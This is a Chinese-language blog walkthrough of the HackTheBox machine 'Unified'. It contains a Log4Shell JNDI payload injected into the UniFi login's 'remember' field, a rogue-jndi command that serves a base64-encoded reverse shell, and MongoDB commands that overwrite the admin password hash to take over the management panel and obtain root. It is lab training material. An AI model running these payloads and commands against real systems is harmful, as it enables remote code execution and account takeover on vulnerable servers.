首页 > 数据库 >HTB之Unified(JNDI注入+MongoDB+生成哈希)

HTB之Unified(JNDI注入+MongoDB+生成哈希)

时间:2024-12-13 09:00:23浏览次数:9  
标签:Unified HTB 漏洞 -- MongoDB 数据库 jndi 哈希 注入

Unified

1. 扫描结果

6789端口:IBM DB2管理,运行着IBM DB2 Admin 服务。

IBM DB2 是一种数据库管理系统,这个端口可能用于访问 DB2 数据库的管理界面。

8443端口:管理平台,根据相关搜索得知应该是网络设备管理平台,或者监控管理平台。

UniFi Network 是 Ubiquiti Networks 提供的一种网络管理平台,主要用于管理和监控企业级无线网络设备。它可以帮助用户集中管理包括路由器、交换机、无线接入点(AP)、摄像头等设备的配置和状态,适用于小型到中型企业、酒店、校园等场景。

NSCA 是 Nagios 监控系统的一个组件,用于将被监控的服务结果发送到 Nagios 服务器。

2. 访问

如果访问不了,证书错误,重新导入bp证书

第一,看服务相关信息

根据上面得到的信息可以知道,应该是一个业务较为广泛的产品,可以去查看是否存在历史漏洞

第二,看登录模块

可以尝试SQL注入、弱口令

第三,看js、API接口等

3. 历史漏洞 CVE-2021-44228(Log4j2)

注入点:上述请求体中的remember字段

也正因漏洞点存在于请求体的字段中,一些漏洞扫描器无法灵活适配,因此无法发现漏洞;目前就我看来,Xray的被动扫描会稍显智能

手动注入payload ${jndi:ldap://ip/dir}

LDAP:轻量级目录访问协议,默认端口为389

先测试是否存在漏洞

确实收到ldap协议请求,可以确定存在漏洞

攻击流程
  1. Linux中能够捕捉监听的工具:tcpdump

  2. 通过rogue-jndi开启本地LDAP服务(依赖Java和maven环境)

  3. 监听jndi注入的命令所使用的反弹shell端口

  4. 实施jndi攻击

切换Java版本:update-alternative --config java

maven安装完成

jndi注入工具:git clone https://github.com/veracode-research/rogue-jndi.git

编译 mvn package

编译成功

编译好后生成一个target文件夹

编码:echo "command" | base64

开启本地LDAP服务:java -jar RogueJndi.jar -c "bash -c {echo,<base64_command>}|{base64,-d}|{bash,-i}" -n "<tun0_ip>"

注入payload

拿到shell

找到一个flag

4. 拿到unifi用户的操作系统权限

看当前运行的进程

有docker、mongoDB,查看mongoDB的运行命令

根据已知信息,可以推测mongoDB是unifi默认的后台数据库

查找其他默认信息,得知数据库名通常为ace,常用集合如下:

  • admin:存储用户账户和权限相关信息。

  • device:存储网络设备信息(如接入点、交换机)

  • stat:存储统计数据(如流量和客户端连接历史)

  • event:存储事件记录和日志。

  • guest:存储访客信息。

  • voucher:存储优惠券信息(如果启用了访客门户功能)。

可以重点关注admin集合

利用 --eval 运行一段JavaScript语句,查看集合 mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"

对于其中的x_shadow字段,极有可能保存的是密码的哈希

因此,可以进行以下步骤:

  1. 利用工具mkpasswd生成一段哈希密文

mkpasswd -m sha-512 <password>

  1. 替换数据库中的数据

mongo --port 27117 ace --eval 'db.admin.update({"_id": ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"password_hash"}})'

对这段哈希进行解析:

  • $6$ 表示哈希算法是 SHA-512。

  • DGCMKG61YxYGpbtB 是加盐值(Salt),防止彩虹表攻击。

  • lCE5VMRYhO6zu2WVeEjV/...... 经过 SHA-512 加密的哈希值。

5. 无法直接提权,转而拿到Unifi管理平台的管理员权限

在系统设置 -> Site中,发现root用户的ssh密码

成功登录

拿到root.txt

总结

过程还是相对曲折的,拿到普通用户权限之后,没法直接提权;需要通过数据库,拿到管理平台的管理员凭证,再从管理平台拿到root的密码。如果不熟悉Unifi管理平台功能,很难想到这个思路。

标签:Unified,HTB,漏洞,--,MongoDB,数据库,jndi,哈希,注入
From: https://www.cnblogs.com/ki-playground/p/18583372

相关文章

  • 4款Mongodb可视化管理工具(必用推荐)
    MongoDB可视化管理工具可以更加高效的使用MongoDB,下面推荐4款主流MongoDB可视化管理工具@mikechen最新mikechen原创超30万字《阿里架构师进阶专题合集》和《大厂最全面试题及答案合集》,请关注本公众号【mikechen的互联网架构】,后台回复:合集,即可领取。MongoDBCompassMongoDBCo......
  • mongodb 开启认证
    确认primary节点rs.status()连接MongoDBmongosh--host192.168.174.100--port37013CurrentMongoshLogID:67596f155da2f2f4a0e94969Connectingto:mongodb://192.168.174.100:37013/?directConnection=true&appName=mongosh+2.3.4UsingMongoDB:......
  • Mongodb安装
    下载地址https://www.mongodb.com/try/download/community安装步骤next安装选择custom版本选好安装地址,一路next配置环境path添加bin;在data目录新建db文件夹运行dos运行以下命令mongod--dbpath复制过来的db文件夹路径测试是否运行成功设置开机启动设置好一......
  • 在 MongoDB 分片集群上检查索引的一致性
     在MongoDB分片集群中,各分片之间索引分布不一致的情况比你想象的要常见,这是因为用户不使用MongoS而是直接在分片中创建索引。 在块迁移过程中,由于索引不匹配,系统无法在分片间传输数据,从而导致迁移失败。 发生这种情况时,分片日志中的典型错误信息可能如下所示:{"t":{"......
  • MongoDB
    应用场景评论区TODO  docker部署MongoDBversion:'3'services:mongo:image:mongo:6.0.4container_name:mongoDBrestart:alwaysports:-27017:27017volumes:-/data/mongodb/data:/data/dbenvironment:MONG......
  • mongodb数据同步到hive
    背景用户需求:需要将mongodb的数据同步到hive表,共2亿+条数据,总数据量约30G查阅一些博客后,大致同步方法有以下几种手动+离线对于比较小的数据,可以先通过mongoexport将数据导出到本地json文件,再将json直接上传到hdfs,创建hive表关联到这个文件即可这种方式非......
  • Linux中安装配置MongoDB
    最近在整理自己私人服务器上的各种阿猫阿狗,正好就顺手详细记录一下清理之后重装的步骤,今天先写点数据库的内容,关于在Linux中安装配置MongoDB说实话为什么会装MongoDB呢,因为之前因为公司需要做点Nodejs的中间件,我顺手玩了一下MongoDB的CRUD,文档型数据库还是挺有意思的安装环境Ce......
  • 一站式管理平台,同时支持Linux、MySQL、Redis、MongoDB可视化管理!
    最近发现一款好用的可视化管理工具mayfly-go,可以通过Web的形式进行Linux系统管理,同时支持MySQL、Redis、MongoDB等数据库的管理,功能非常强大!今天就给大家介绍下这款工具,希望对大家有所帮助!SpringBoot实战电商项目mall(50k+star)地址:https://github.com/macrozheng/mallmayfly-go......
  • 【数据库取证】MongoDB数据库现场数据固定与后续分析
    以下文章来源于万宏蜀盾科技,作者万宏蜀盾MongoDB是一款流行的开源文档型数据库,主要适用于需要高扩展性、灵活数据结构和快速读写性能的应用场景,如大数据、物联网、社交媒体、游戏数据等。正因为MongoDB是一个非关系型数据库,数据以JSON格式的文档存储。它使用类似于JSON的BSON格......
  • MongoDB 建模调优&change stream实战
    MongoDB开发规范(1)命名原则。数据库、集合命名需要简单易懂,数据库名使用小写字符,集合名称使用统一命名风格,可以统一大小写或使用驼峰式命名。数据库名和集合名称均不能超过64个字符。(2)集合设计。对少量数据的包含关系,使用嵌套模式有利于读性能和保证原子性的写入。对于复杂的......